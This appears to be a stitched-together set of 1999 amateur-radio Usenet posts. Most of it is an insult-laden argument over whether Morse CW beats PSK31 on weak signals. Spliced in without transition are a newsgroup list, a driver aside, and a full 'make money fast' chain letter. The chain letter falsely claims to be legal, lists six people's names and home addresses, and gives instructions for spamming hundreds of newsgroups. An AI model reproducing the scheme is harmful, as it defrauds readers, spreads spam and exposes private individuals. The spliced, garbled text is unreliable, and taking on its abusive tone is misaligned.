Let's recap this... I hear a 1.5w CW signal too weak to copy.
The operator switches to 1.5kw SSB and it is perfectly, clearly
copyable. I note that the SSB is readable while CW is not and
comment that "sure doesn't look to me like CW has anything
on SSB".

> Cecil cried "Unfair! CW has the 4 to 1 advantage because
> of the wide bandwidth". I say "So what"? Who says that ham
> radio is all about maximum throughput in a given narrow
> DSP-wide bandpass? Only you geeks."

Then you cannot possibly object to my using your logic to
prove that SSB is superior to CW. Dick, listen very closely:
POWER, BAUD RATE, AND BANDWIDTH MUST BE BALANCED FOR THERE
TO BE ANY VALID COMPARISON BETWEEN MODES. You have not
provided that balance so your reports are NOT valid

comparisons.

Interesting you should mention that. The simplest error correcting code
you can imagine is that you send everything three times, and take the one that
appears twice. Of course, if you get three separate answers, you need to
have them all repeated again. And if you get the same thing three times, you
don't necessarily know that you really got it right either.

Repeating everything three times triples your output power, and still doesn't
give you what you need: the ability to engineer communications channels with
arbitrarilly low error percentages, as long as the communication rate is
below the channel capacity.

PSK31 is by default BPSK, and can shift to QPSK (not adaptively). Since you
can't communicate Morse at the same rate as PSK31 in the same bandwidth
anyway, you aren't really comparing apples to apples.

> All the "good numbers" you are tossing out in a vain

When one asks so little of a mode, it is perhaps not surprising that it does
work.

It is you who doesn't get it Dick. If you slowed PSK31 down to 20wpm rate,
then it WOULD get through better, in much less bandwidth and the same power
as your CW example.

> So ask any traffic handler which he would prefer-a 20wpm

Luckily he also has the choice of picking a 20wpm circuit that operates at
least 6 and more likely 10db below what the Morse circuit will do.

> but it's gotta be in the Top Ten.

In what way, Glen? Although the statement Carl made is not unconditionally true, it is generally true, with the additional caveat that the math has to be the right math. To use the simplest possible analogy, if Ohm's law says that 1 A will flow at DC, 1 A will flow, within the tolerance of the voltage source, the resistor and the measurement equipment. Good math will take those tolerances into account and predict whether the circuit will work with N% value components. Better math will take frequency and stray reactance into account, etc.

With the type of software Carl uses to do the math, his statement is pretty much true. Yes, it does have its limits, but a good engineer understands the limits and would consider them as he or she made the statement Carl made for a particular case.

Those that can copy an OOK Morse signal 10 dB below the noise are usually talking about 10 dB below the noise in a 500 Hz bandwidth -- the typical "narrow" bandwidth of modern amateur gear. In general, the necessary bandwidth of an OOK Morse CW signal is about 50 Hz or so. So the statement translates into an ability to copy a signal 10 dB below a noise level that is 10 dB higher than it needs to be. :-)

What this demonstrates is that there is some mental filtering that is part of human decoding of OOK Morse CW. I don't know of any operators that can manually decode a Morse CW signal 10 dB below the NECESSARY bandwidth for that signal. I may, of course, be mistaken, so any evidence to the contrary is most welcome.

> Paul, your story is very interesting and informative but no
>more applicable to the masses of ham radio operators than
>Cecil's theories.

Dick,

Paul just told us of an instance where CW (at long integration times) can get through when the signal is not even audible, and you say thats not applicable to ham radio operators. He demonstrated that the higher speed CW ID was not detectable under the same circumstances. You know from experience that when conditions are not good, we must slow our speed down in order to get reliable copy. These things are precisely consistant with what Cecil and others have been saying.

Since you know that filtering improves signal to noise ratio, you really should try an experiment. Build a 700 Hz center frequency audio passband filter with a high enough Q to test what Cecil is saying about not being able to copy high speed CW through it. It seems pretty likely to me that you're going to have trouble distinguishing the on and off keyed dits from the dahs at 50 WPM because the transitions between logic states will become less distinct.

All you need do is imagine using code, but instead of switching the carrier on and off, shift the carrier frequency up and down slightly within the narrow passband. If you could aurally detect the slight frequency shift (or phase shit), then by using the narrower passband, you could pull out the really weak ones. By using a modulation scheme that prints through that narrower passband 100%, you should be able to see the advantage - independent of the coding scheme. And certainly you can agree that there are better ways for machines to encode data than Morse. But trying to argue that people can do things machines can't is not an argument that can often be won in this day and age.

Each mode has it's physical limits, and when conditions are marginal we approach those limits. Why do you continue to maintain that these things are irrelevant to hams?

But the fact that there are better ways to encode and transmit data does not necessarily argue that hams shouldn't possess at least some ability to do it manually. It only argues that hams should perhaps also be required to able to use the more advanced modes. From that, we might actually see an improvement in the Amateur Service.

I think we would also see an improvement by involving a greater number of our good operators in more amateur radio activities - particularly at HF. I see a reduced code requirement for the General class license as a better enticement for people to get a ham license, learn more theory, and learn code. Operating experience should be the incentive/goal of the service, rather than simply code speed. And I don't see that providing a vehicle for some operators to look down their noses at others by overly stratifying operating privileges is either healthy or fair. However the benefits of completely eliminating an amateur operating capability from the requirements in amateur radio are not readily apparent, not do I think they can be shown.

You're correct of course, Ed.

Because an experienced Morse operator will mentally discriminate against random noise, and even against much stronger "non-target" interfering signals at a slightly different audio frequency, and also because the brain will "fill in the holes" in a tone which is interupted by "impulse" or "buckshot" noise, it is almost routine to copy Morse CW signals which are embedded in a passband containing noise and other signals with amplitudes much greater than +10db in relation to the desired signal.

No one in this argument has yet precisely stated the "terms" of the challenge, but even if they do, no human can copy Morse fast enough to approach the limits imposed by Shannon, et. al., so the whole thread is only an academic exercise anyhow.

All the proposals I have seen, including even that of Larry, K3LT, propose
that 5WPM be the speed required for broad access (General class license) to
HF.

That is hardly "high speed testing".

You're correct, of course, Hans. :-) Not only that, but most OOK CW is
not SENT in such a way that its occupied bandwidth approaches those
limits, either. The rise and fall times are usually MUCH faster than
they need to be for minimum bandwidth.

OOK CW is, of course, still my favorite mode. :-)

I've often wondered why the DSP unit doesn't do a DFT/FFT at
the Morse code frequency and re-generate a single corresponding
tone. Ringing can certainly be compensated for in the DSP unit.
If one has DSP throughput already, why not make full use of
it? Why stop with filters? Why not decode and re-generate Morse
code? Why not DFT/FFT and decode standard FSK to serial
Baudot/ASCII/AMTOR/PACTOR?

The Morse code mode on a DSP should be able to eliminate all
uncoordinated signals (QRN) and all coordinated signals
(heterodynes) that are wider than a Morse code 'dah'. Why
the heck hasn't anyone done that?

Baloney, Dick .... your total technical ignorance is (still) showing.

What Cecil is saying is that if PSK were used at symbol rates equalling,
say 20 wpm OOK Morse, that PSK would win hands down in a weak
signal performance contest.

Thats the fact, Jack (ass) ... er, Dick.

Gee, Dick ... you keep ASSuming that I can't copy Morse
at all ... I'm just not fast enough to convince you and Larry
that I'm a "Real Ham."

However, I did pass a Morse test and can still copy Morse,
though I don't care for it, and thus don't use it.

That, however, has NOTHING to do with understanding
the principles upon which communications systems work.
You are abundant evidence that having skill in Morse
has NO correlation to that.

On the contrary, Dick ... none of us "technocrats" has EVER
advocated abandoning or banning the (voluntary) USE of
OOK Morse by anyone who wants to use it.

However, folks like you who insist on promulgating the false
myths like "Morse gets through were nothing else will.", etc.
ad nauseum ARE one of the major reason why advancement
in the ARS has been so limited over the past several decades.

It doesn't have an efficiency advantage, Dick. It has an unfair
advantage just as 1.5kw SSB has an unfair advantage over 1.5w CW.
If my calculations are correct, the CW ID would have to be
reduced in power by almost 12dB to level the playing field.

Think man, why does 1.5kw SSB beat 1.5w CW? For exactly the same
reason that you can copy the PSK31 CW ID when the computer cannot
copy PSK31. You don't seem to realize that the reasons are identical.
That four times unfair advantage turns out to be two raised to the
forth power when applied to the base 2 log of the power levels. In
other words, for a S/N ratio of one to one, the PSK31 signal power
would have to be increased by 15 times over the CW signal power to
obtain the same maximum throughput as predicted by Shannon's law
in order to level the playing field.

Got that, all you Happy Hams out there in rrap-land?

My little "demonstration" showed absolutely nothing of
value.

Let's see just what we "showed"...

It DID show that CW can be copied at 20wpm, at the same
weak-signal level where PSK31 will not lock and print at
50wpm.

It DID show that equal signal levels of CW and PSK act
quite differently, and that CW *WAS* readable when PSK31
wasn't.

It DID show that one CAN copy CW at a signal level at which
PSK would have to be increased in power 4 times to lock and
print (by the geek's own figures).

It DID show that they are blowing smoke in great billows.

It DID show that it is all a smoke screen in which they insist that CW would have to be reduced in power by 4 times so that it, too, could NOT be copied to have a "valid" comparison.

It DID show that Shannon is not at all applicaible to ham radio as we know it today, and it **DID** show that these fine fellows have it on their mind to alter the ARS so as to make it totally unrecognizable to all but THEM, if they can just browbeat officialdom into getting it done under the guise of "modernizing" the ARS....

Gee, what a deal. The great digital modes are so efficient that one must destroy CW, too, to "prove" that the digital modes are better.
A CW signal, identical in strength to the PSK, must be REDUCED by a factor of four to make it an "equivalent" test. HAHAHAHAHA

Just what are you guys smoking these days??? If that's the kind of trash you're learning in engineering school, I'm sure pleased it wasn't inflicted on me.

All you've "proved" with *your* assinine exercise is that if one has any digital communications at all, it *WILL* be at a higher throughput, which almost NEVER is a consideration in Amateur-
I say again, ***AMATEUR*** radio.

Ask any ham - or any other communicator- who IS NOT also a pencil necked geek, whether he would rather have a reliable weaksignal communications circuit at 20wpm or a highly questionable circuit that almost certainly would not give credible copy at 50 wpm. Do you *really* wonder what his answer will be?????

All general statements are false, including yours. I never said that
Shannon's law doesn't work. Math is a wonderful tool, but things were
"working" pretty well long before theories came along to explain them,
in many cases.

And saying that "hosing up something in the gear or adjustments"
invalidates the math involved in the theory is so stupid that it
shouldn't need explaining.

>

All of which proves that Shannon had only ONE thing on his
mind--

****THROUGHPUT****

Take the "throughput" factor out of the picture--it is
almost always out of the picture in ****Amateur Radio****
anyway-- and the situation changes dramatically. No longer
does it matter that the "efficient" modes are naturally
those capable of handling higher speed data. THAT is what
Shannon is about, and nothing more. The CWID on the PSK31
signal proves it beyond any further doubt. When one can copy
the CWID on an unprintably weak PSK31 signal, as long as it
DOES NOT MATTER how many bits one can handle in a given time
frame, THE CW SIGNAL IS MORE EFFICIENT in "getting through".
Whatever else you say now is moot. The deal is done.

So ask any traffic handler which he would prefer-a 20wpm
circuit that was open and handling traffic, or a 50wpm "high
speed" circuit that is not capable of working---Betcha on

which he'll choose!!!

Why, of course Cecil..But--human CW operators are
adaptive...when conditions warrant, they simply adjust their
speed and technique acordingly, repeating "words twice" or
whatever other accomodations are needed and go ahead and
pass the message. PSK gear either works or not... When
'not', the message *doesn't* get through, and it's darn sure
not adaptive, at least not in any flexible way as CW can be.
I understand that it can automatically switch to BPSK, but
that shouldn't help nuch in a too-weak-signal situation.

All the "good numbers" you are tossing out in a vain
attempt to overpower the simple usefulness of CW are in
vain, Pal...It just keeps getting through......

It showed nothing of the kind. Are you naturally stupid, or did you
have to take lessons? I have very little grasp of the math concepts
involved here, but even I can see that you are trying compare apples
with avocados to prove an unprovable point.

> It DID show that they are blowing smoke in great billows.

I don't think so. I think it was a pretty good explanation in terms
simple enough to be grasped by an old fossil like me, while including
enough math to allow those who understand that stuff to see that the
calculations were valid. So far, no math or engineering expert has
refuted what was said, and you certainly have failed to even understand
the theory, much less refute it.

> It DID show that it is all a smoke screen in which they
>insist that CW would have to be reduced in power by 4 times

I think you're overstating your case to the point of absurdity.

> Gee, what a deal. The great digital modes are so efficient
>that one must destroy CW, too, to "prove" that the digital

>modes are better.

"Better" is a relative term. Efficiency and conservation of bandwidth
are a bit easier to demonstrate, and I think they've been demonstrated
fairly well here by the "geeks." Like a CW nut isn't as much of a
"geek" as any computer nerd, hahaha.

>A CW signal, identical in strength to the PSK, must be

> I say again, ***AMATEUR*** radio.

Oh, really? Would you kindly quote chapter and verse from Part 97 where
it says anything remotely like that? In fact, that's almost the exact
opposite of the spirit of the principles of Ham Radio.

> Ask any ham - or any other communicator- who IS NOT also a

1250. List of the rec.radio newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-03-01 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7bdbvs$kun@news.Hawaii.Edu>
Source record: 19328
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.dx

```
Archive-name: radio/personal-brief-introduction

In an effort help ensure a poster's article reaches the appropriate
audience, below is a list of the rec.radio newsgroups. In most cases,
a group's name will explain its purpose. Cross-posting should rarely
be necessary.

rec.radio.broadcasting (devoted to the broadcast industry; moderated)
rec.radio.cb
rec.radio.info (periodic informational bulletins; moderated)
rec.radio.scanner
rec.radio.shortwave
rec.radio.swap (for buying, selling, and trading; not a discussion group)

rec.radio.amateur.antenna
rec.radio.amateur.boatanchors (tube-type communications equipment)
rec.radio.amateur.digital.misc (packet, pactor and other digital modes)
rec.radio.amateur.dx (long-distance amateur communications)
rec.radio.amateur.equipment (questions, comments regarding commercially-
built amateur gear; not for buying/selling)
rec.radio.amateur.homebrew (devoted to home-building ham gear)
rec.radio.amateur.policy (issues include code, restructuring, local
restrictions in conflict with FCC R&R)
rec.radio.amateur.space (satellites, meteor scatter, EME)
rec.radio.amateur.misc (any topic not covered in the above groups)

(At least two other English language radio hierarchies exist, prefixed
with "uk" (United Kingdom), and "aus" (Australia), in place of "rec.")

Again, cross-posting should rarely be necessary. Many times, a long-
running thread results from a single cross-posted article, and the
contents of such a thread drift further and further away from being
"on-topic" in the various NGs that receive each and every followup.

For more detailed information, see "Guide to the Rec.radio Newsgroups"
posted on the 15th of each month.

Jeffrey Herman, WH6U
(rec.radio.amateur working-group)

Then you'd best take a few lessons from Cecil yourself OB,
those are his numbers...You're beginning to sound like
Stevenson

> but even I can see that you are trying compare apples
> with avocados to prove an unprovable point.

Lets recap this...I hear a PSK31 signal too weak to be
able to lock and print it. The station sends a CW ID. It is
perfectly, clearly copyable at ~20wpm. I note that the CW is
readable while the digital signal is not, and comment that
"sure doesn't look to me like digital has anything on CW".
The geeks immediately cry "Unfair! You weren't using a 31 hz
filter to copy that CW, so it is an unfair 4 to 1 advangtage
in favor of CW".
I say "so what? *I* am interested in things that work, and
clearly here, CW did while the digital mode did not".

I didn't set out to do a controlled laboratory experiment,
I was using real live, real time ham radio to communicate.
If I could have printed the PSK31 station, I would have
worked him on that mode. I could not,
however I **have** worked many CW stations under weaker
signal conditions than that of his CW ID.

Cecil cried "Unfair! CW has the 4 to 1 advantage because
of the wide bandwidth". I say "So what"? Who says that ham
radio is all about maximum throughput in a given narrow
DSP-wide bandpass? Only you geeks."

So they -and you- can get a life and stop trying to cram
all this BS about how great digital modes are as compared to
how sorry CW is. We know how great the digital modes are.
They are so great that the commercials and the government
use nothing else. But *This is AMATEUR, I SAY AGAIN,

AMATEUR radio*, not a digital design engineers
admiration society. WE use what we find will work in the
environments that we find ourselves operating within, not
some theoretically superior laboratory condition, nor some
exotic digital link designed for some obscure commercial or
government entity for some special purpose.

YOU fail to understand the point, at all, and that is
exactly what the Geeks want. NO ONE is refuting anything
except this attempt to "convert" all of ham radio by Moore
and Stevenson et al to believe that nothing except the
latest most efficient highest throughput modes will ever
again be acceptable. THIS is the thrust, clearly and
succiently.

> "geek" as any computer nerd, hahaha.

If I was a CW nut I'd be out working CW with those who are.
My intent is to help prevent the total domination of the ARS
by the likes of those who are using this entire "hi-tech"
scenario solely to push the abandonment of the code within
the ARS. THEIR mission is all too clear.

>
> >A CW signal, identical in strength to the PSK, must be

Izzat a fact? Now YOU can quote. I speak of on-the-air
operations within the ARS. Since when do hams NEED anything
near maximum throughput-in fact NO ONE can type anywhere
near fast enough in real time to use any such data rates.
What are *you* talking about?
"Basis and purpose"? Sure--we do change modes in the ARS, by
adding new ones, generally, as opposed to the No-Code Agenda
which clearly is out to do away with code operation which
just naturally follows abandonment of code testing.

>

>
> Have you stopped beating your wife?

That's a very poor dodge of the question, and you know it.
If you need to pass a message, which would you choose, given
the situation I was in at the instance noted?

> My answer is "Why can't we have both, and more?"
>

Why, indeed??? Why do all the geek-posters here keep
insisting on all this unrealistic (from a ham radio
pespective) emphasis on that which we mostly don't need,
mostly don't want and mostly wouldn't use if we had it? Easy
answer: They believe it will advance the cause of their
No-Code Agenda. Nothing more.

EVERY geek posting here in support of converting the ham
radio service to an all-digital world is a die-hard code
basher. *ALL* of them. Without a single exception. Think
about it.

> Run along, Dick. You're making a fool of yourself.

And it looks like you already were one.

: The CWID on the PSK31
: signal proves it beyond any further doubt. When one can copy
: the CWID on an unprintably weak PSK31 signal, as long as it
: DOES NOT MATTER how many bits one can handle in a given time
: frame, THE CW SIGNAL IS MORE EFFICIENT in "getting through".
: Whatever else you say now is moot. The deal is done.

If your only criterion is "getting something through" no matter what the speed/time is, take a look at RadCom November 1997 describing the test between G4JNT and G3PLX (393 km) on 73 kHz with 1 mW ERP.

The transmitted data used A1A transmitted Morse code with dot length of 80 s (0.015 WPM) with visual spectrogram detection. Due to the detection method FSK ASCII could have been used as well. For regulatory purposes the CWID was transmitted at 12 WPM at the end of each dot period.

There was no aural detection of the CWID, since the carrier was never heard aurally during the test, there were great concerns getting the transmitter and receiver frequencies to match (i.e. within the receiver passband) and the received frequency and drift was later on determined from the spectrogram.

As in this test the CWID did NOT get through, it should be clear that adjusting the data rate between the CWID and the actual data being transmitted, you can get either part to "get through" in marginal condition.

You used your logic to prove your point, I used the same logic to prove just the opposite, thus, that logic is faulty and proves nothing.

Thanks folks

I knew the answer to this question anyway (having hacked
SCC drivers in JNOS and Linux to add CWID for the legal beavers
in the UK) but I wanted to try and get people away from the
Baycom modem or sound-card myths that seems to be very
apparent in this group of late.

Robin.

PS. Do you know of a SCC card that works reliably with up-market
Pentium motherboards? The PA0HZP ones I've used seem to insist
on the the extra I/O delays compiled under Linux.

> A little while back, I was browsing these newsgroups, just like you
> are now, and came across an article similar to this that said you
> could make thousands of dollars within weeks with only an initial
> investment of $30.00! So I thought, "Yeah, right, this must be a scam!"

> but like most of us, I was curious. Like most of us, I kept reading.
> Anyway, it said that if you send $5.00 to each of the 6 names and
> addresses stated in the article, you could make thousands in a very
> short period of time. You then place your own name and address at the
> bottom of the list at #6, and post the article to at least 200
> newsgroups. (There are about 22,000.) or e-mail them to friends, or
> e-mailing lists...
>
> No catch, that was it.
>
> Even though the investment was a measly $30, I had three questions that

> needed to be answered before I could get involved in this sort of
> thing.
>
> 1.IS THIS REALLY LEGAL?
>
> I called a lawyer first. The lawyer was a little skeptical that I
> would actually make any money but he said it WAS LEGAL if I wanted to
> try it. I told him it sounded a lot like a chain letter but the
> details of the system (SEE BELOW) actually made it a legitimate legal
> business.
>
> 2. Would the Post Office be ok with this...?
>
> I called them: 1-800-725-2161 and they confirmed THIS IS ABSOLUTELY
> LEGAL! (See Title 18,h sections 1302 NS 1341 of Postal Lottery Laws).
```

> This clarifies the program of collecting names and addresses for a
> mailing list.
>
> 3. Is this moral?
>
> Well, everyone who sends me a buck has a good chance of getting A LOT
> of money ... a much better chance than buying a lottery ticket!
>
> So, having these questions answered, I invested EXACTLY $7.92 ... six
> $5.00 bills and six 32 cent postage stamps ... and boy am I glad I
> did! Within 7 days, I started getting money in the mail! I was
> shocked! I still figured it would end soon, and didn't give it another

> thought. But the money just continued coming in. In my first week, I
> made about $100.00 to $150.00 dollars. By the end of the second week I
> had made a total of $5,000.00! In the third week I had over $50,000.00

> and it was still growing. This is now my fourth week and I have made a

> total of just over $210,000.00 and it's still coming in.....
>
> It's certainly worth $30.00 and 6 stamps!
>
> So now I'm reposting this so I can make even more money! The *ONLY*
> thing stopping *ANYONE* from enriching their own bank account is pure
> laziness!
>
> It took me all of 5 MINUTES to print this out, follow the directions,
> and begin posting to newsgroups. It took me a mere 45 minutes to post
> to over 200 newsgroups. And for this GRAND TOTAL investment of $ 32.92
> (US) and under ONE HOUR of my time, I have reaped an incredible amount

> of money -- like nothing I've ever even heard of anywhere before!
>
> 'Nuff said!☐
>
> Let me tell you how this works, and most importantly, why it works.
> Also, make sure you print a copy of this article now, so you can get
> the information off of it when you need it. The process is very simple

> and consists of THREE easy steps.
>
> ============
> HOW IT WORKS
> ============
>
> STEP 1:
> ------
> Get 6 separate pieces of paper and write the following on each piece
> of paper:
>
> PLEASE ADD ME TO YOUR MAILING LIST.

> $5 US DOLLAR PROCESSING FEE IS ENCLOSED.
>
> (THIS IS KEY AS THIS IS WHAT MAKES IT LEGAL SINCE YOU ARE PAYING FOR
> AND LATER OFFERING A SERVICE).
>
> Now get 6 $5.00 bills and place ONE inside EACH of the 6 pieces of
> paper so the bill will not be seen through the envelope to prevent
> theft/robbery.
>
> Then, place one paper in each of the 6 envelopes and seal them. You
> should now have 6 sealed envelopes, each with a piece of paper stating
> the above phrase and an U.S. $5.00 bill.
>
> Mail the 6 envelopes to the following addresses:
>
> #1 - Patrick "Blunt" Richardson
> 308 N. Wingate St.
> Wake Forest, NC 27587
> USA
>
> #2 - Jacky Maier
> 9 Jacob Jacob st.
> 2018 Antwerpen
> BELGIUM
>
> #3 - "Kirky"
> 14307 Village View Dr.
> Tampa, FL 33624
>
> #4 - "bart"
> 3836 Forest Brook.
> Flagstaff, Az 86004
>
> #5 - Eric Sorensen
> 2708 Adrienne Circle
> College Station, TX 77845
>
> #6- Ben Wojciak
> 610 N. Highland
> Graham/Greenlee #146
> Tucson, Az 85719
>
> STEP 2: Now take the #1 name off the list that you see above, move the
> other names up (6 becomes 5, 5 becomes 4, etc.) and add YOUR Name as
> number 6 on the list. (If you want to remain anonymous put a nickname,
> but the address MUST be correct. It, of course, MUST contain your
> country, state/district/area, zip code, etc! You wouldn't want your

> money to fly away, wouldn't you?).
>
> STEP 3: Now post your amended article to at least 200 newsgroups.
> Remember that 200 postings are just a guideline. The more you post,
> the
> more money you make!
>
> Don't know HOW to post in the news groups? Well do exactly the
> following:
>
>

>
> HOW TO POST TO NEWSGROUPS FAST WITH YOUR WEB BROWSER:
>
> The fastest way to post a newsletter: Highlight and COPY (Ctrl-C) the
> text of this posted message and PASTE (Ctrl-V) it into a plain text
> editor (as Wordpad) and save it. After you have made the necessary
> changes that are stated above, simply COPY (Ctrl-C) and PASTE (Ctrl-V)

> the text into the message composition window, after selecting a
> newsgroup, and post it! (Or you can attach the file, without writing
> anything to the message window.)
>
>

> ----------
>
> If you have Netscape Navigator 3.0 do the following:
>
> 1. Click on any newsgroup like normal, then click on 'TO NEWS'. This
> will bring up a box to type a message in.
>
> 2. Leave the newsgroup box like it is, change the subject box to
> something flashy, something to catch the eye, as "$$$ NEED CASH $$$?
> READ HERE! $! $! $" Or "$$$! MAKE FAST CASH, YOU CAN'T LOSE! $$$". Or
> you can use my subject title.
>
> 3. Now click on 'ATTACHMENTS'. Then click on 'ATTACH FILE'. Find your
> file on your Hard Disk (the one you saved from the text editor). Once
> you find it, click on it and then click 'OPEN' and 'OK'. You should
> now
> see your file name in the attachments box.
>
> 4. Now click on 'SEND'/'POST'. You see? Now you just have 199 to go!
> (Don't worry, it's easy and quick once you get used to it.) NOTE: All□

> the versions of Netscape Navigator's are similar to each other, so
> you'll have no problem to do this if you don't have Netscape Navigator

> 3.0.
>
>

>
> ! QUICK TIP!
>
> (For Netscape Navigator 3.x and above)
>
> You can post this message to many newsgroups at a time, by simply
> selecting a newsgroup near the top of the screen, hold down the SHIFT,

> and then select a newsgroup near the bottom of the screen. All of the
> newsgroups in/between will be selected. After that, you follow/do the
> basic steps, stated below at this letter, except of step #1. You can
> go
> to the page stated below in this letter and click on a newsgroup to
> open up the newsgroups window. Once you've done this, in the same
> window go
> to 'OPTIONS', and then mark 'SHOW ALL NEWSGROUPS' and 'SHOW ALL
> MESSAGES'. Now you can see all the newsgroups and you can apply easier

> the above tip.
>
>

>
> If you have MS Internet Explorer do the following:
>
> 1. Go to the newsgroups and press 'POST AN ARTICLE'. To the new window

> type your headline in the subject area and then click in the large
> window below. There either PASTE your letter (which it's been copied
> from the text editor), or attach the file which contains it.
>
> 2. Then click on 'SEND' or 'OK'. NOTE: All versions of MS Internet
> Explorer are similar to each other, so you won't have any problem
> doing
> this.
>
> GENERAL NOTES ON POSTING: A nice page where you'll find all the
> newsgroups if you want help is http://www.liszt.com/ (When you go to
> the home page, click on the link 'Newsgroup Directory'). But I don't
> think
> you'll have any problem posting because it's very easy once you've
> found the newsgroups. All these web browsers are similar. It doesn't
> matter
> which one you have. (But it makes it very easy if you have Netscape
> Navigator 3.0 or later. You may download it from the Internet if you
> don't have it.) You just have to remember the basic steps, stated

> below.
>
> BASIC STEPS FOR POSTING:
>
> 1. Find a newsgroup and you click on it.
>
> 2. You click on 'POST AN/NEW ARTICLE' or 'TO NEWS' or anything else
> similar to these.
>
> 3. You type your flashy headline in the subject box.
>
> 4. Now, either you attach the file containing your amended letter, or
> you PASTE the letter. (You have to COPY it from the text editor, of
> course, from before.)
>□
> 5. Finally, you click on 'SEND' or 'POST' or 'OK', whatever is there.
>
>

>
> **REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU
WILL
> MAKE! BUT YOU HAVE TO POST A MINIMUM OF 200**
>
> That's it! You will begin receiving money from around the world within

> days! You may eventually want to rent a P.O.Box due to the large
> amount
> of mail you receive. If you wish to stay anonymous, you can invent a
> name to use, as long as the postman will deliver it.
>
> **JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT. **
>
>

>
> =================
> Now the WHY part:
> =================
>
> Out of 200 postings; say I receive only 5 replies (a very low
> example).
> So then I made $5.00 with my name at #6 on the letter. Now, each of
> the
> 5 persons who just sent me $5.00 make the MINIMUM 200 postings, each
> with my name at #5 and only 5 persons respond to each of the original
> 5, that is another $125.00 for me, now those 25 each make 200 MINIMUM
> posts
> with my name at #4 and only 5 replies each, I will bring in an

> additional $625.00! Now, those 125 persons turn around and post the
> MINIMUM 200 with my name at #3 and only receive 5 replies each, I will

> make an additional $3130.00! OK, now here is the fun part, each of
> those
> 625 persons post a MINIMUM 200 letters with my name at #2 and they
> each
> only receive 5 replies, that just made me $15,625.00! Those 3,125
> persons will all deliver this message to 200 newsgroups with my name
> at #1 and
> if still 5 persons per 200 newsgroups react I will receive $78,125,00!

> With an original investment of only $30.00! AMAZING! And as I said 5
> responses is actually VERY LOW! Average are probable 20 to 30! So lets

> put those figures at just 15 responses per person. Here is what you
> will make:
>
> at #6 $75.00
>
> at #5 $1,125.00
>
> at #4 $16,875.00
>
> at #3 $253,125.00
>
> at #2 $3,796,875.00
>
> at #1 $56,953,125.00
>
> When your name is no longer on the list, you just take the latest
> posting in the newsgroups, and send out another $30.00 to names on the
> list, putting your name at number 6 again. And start posting again.
> The
> thing to remember is, do you realize that thousands of people all over

> the world are joining the internet and reading these articles
> everyday,
> JUST LIKE YOU are now!
>
> So can you afford $30.00 and see if it really works? I think
> so...People
> have said, "what if the plan is played out and no one sends you the
> money? So what! What are the chances of that happening when there are
> tons of new honest users and new honest people who are joining the
> internet and newsgroups everyday and are willing to give it a try?
> Estimates are at 20,000 to 50,000 new users, every day, with thousands

> of those joining the actual Internet. Remember, play FAIRLY and
> HONESTLY and this will work. You just have to be honest.
>
> By the way, if you try to deceive people by posting the messages with

> your name in the list and not sending the money to the rest of the
> people already on the list, you will NOT get as much. Someone I talked

> to knew someone who did that and he only made about $150.00, and
> that's
> after seven or eight weeks! Then he sent the 6 $5.00 bills, people
> added him to their lists, and in 4-5 weeks he had over $10k. This is
> the
> fairest and most honest way I have ever seen to share the wealth of
> the
> world without costing anything but our time! You also may want to buy
> mailing and e-mail lists for future dollars. Make sure you print this
> article out RIGHT NOW, also. Try to keep a list of everyone that sends

> you money And always keep an eye on the newsgroups to make sure
> everyone is playing fairly. Remember that HONESTY IS THE BEST POLICY.
> You don't
> need to cheat the basic idea to make the money!
>
> GOOD LUCK to all and please play fairly and reap the huge rewards from

> this, which is tons of extra CASH. Please remember to declare your
> extra income. Thanks once again...
>

So just WHEN does a PSK signal occupy the same bandwidth,
you droll troll? THAT is what we've been talking about for
so long. With CW the operator can change bandwidths and data
speeds at will, continuously adjusting and optimizing the
conditions. In a bandwidth optimized for CW, CW can be
copied under conditions where PSK cannot. There is NO
adjustment available in current PSK implementations. Your
"theory" falls flat on it's face in actual practice. This is
what I've been insisting for 2 years now, and you continue
to play assinine laboratory games, with "theory". Yeah, we
know the theory. We also know the PRACTICE.

> PSK31 was chosen for 50wpm because that's
> about the rate humans type. The bandwidth fell out from that.
> Forget PSK31. You cannot copy 50wpm CW through a 31Hz filter
> so CW fails the competition with PSK31.

So I'm on the air, tune in a PSK31 signal which is too
weak to lock and print, then the CW ID comes, which I *can*
copy quite well. I can/'t work the station on-the-air on
PSK31, but I could sure work him on CW, if he was equipped
to switch. I've worked CW stations at that signal level many
times.

So I'm to "forget PSK31 and stuff my CW signal through a 31
cycle filter so as to get a valid comparison". Yeah,
right! That's just what I was looking for, a valid
theoretical comparison! No *communications* needed, or
wanted. Just as long as your theory is satisfied. Should we
be surprised? Not really, given your history. Theory is
"everything" to you geeks.

> Think about PSK83
> running at 20wpm. It will beat 20wpm CW all to hell.

Next I guess you will say that if the PSK had been at a
20wpm rate I would have been able to lock and print it, Hey?
I Don't Think so. But it makes no difference. It wasn't and
I was not able to. And we'll never know if a practical
implementation of PSK at 20wpm could have come close to it
or not. Of course you will claim that you "know".

Hey Cecil--did you know that PRACTICAL IMPLEMENTATIONS of
theory are almost never anywhere close to the theoretically
possible efficiencies? If you've never worked on actual,
real live working radio equipment, but spent your entire
life in a lab somewhere you may very well have missed that
little fact completely. Theory sometimes doesn't translate
well into hardware. Software too. It depends heavily on the
hardware and software skills of the engineer(s) involved.
Seems like you may have missed that.

>The
> only problem is nobody wants to type at 20wpm.
>

The pertinent question is why do all you geeks fear 20wpm
CW so much???

Paul, your story is very interesting and informative but no
more applicable to the masses of ham radio operators than
Cecil's theories.

Much is learned by all when hams get involved in such
experimentation. No one ever said that we shouldn't do that

nor that the rest of us should ignore the results and findings. The point here is that

All this insisting on shoving all the "digital dogma" at the amateur radio service is all a part of their pell mell effort to chase the radiotelegraph code from the ham bands via persuading regulators that they should drop the code tests. Nothing more.

Once code testing is gone, so will all the great stories of just how great all these digital theories are. Every poster here who insists that all amateurs adopting all this "theory" are, to a man, code haters and strong NCI advocates of abandoning radiotelegraph code testing, and thus abandoning the code itself, within ham radio. They have made their Agenda more than clear, repeatedly.

I strongly oppose dropping code testing since I am certain that would spell the end of use of the mode and that would be a profoiund loss to the communications capability of the ARS. Skills that most hams don't learn that is difficult, they won't learn, at all. Soon radiotelegraph code will be onlhy the memory that it is in other services.

There's absolutely no intelligent reason why we cannot keep radiogtelegraph code communications while simultanelously advancing. Only the flawed opinions of the technocrats say otherwise.

With PSK, the operator can change bandwidths and data
speeds at will, continuously adjusting and optimizing the
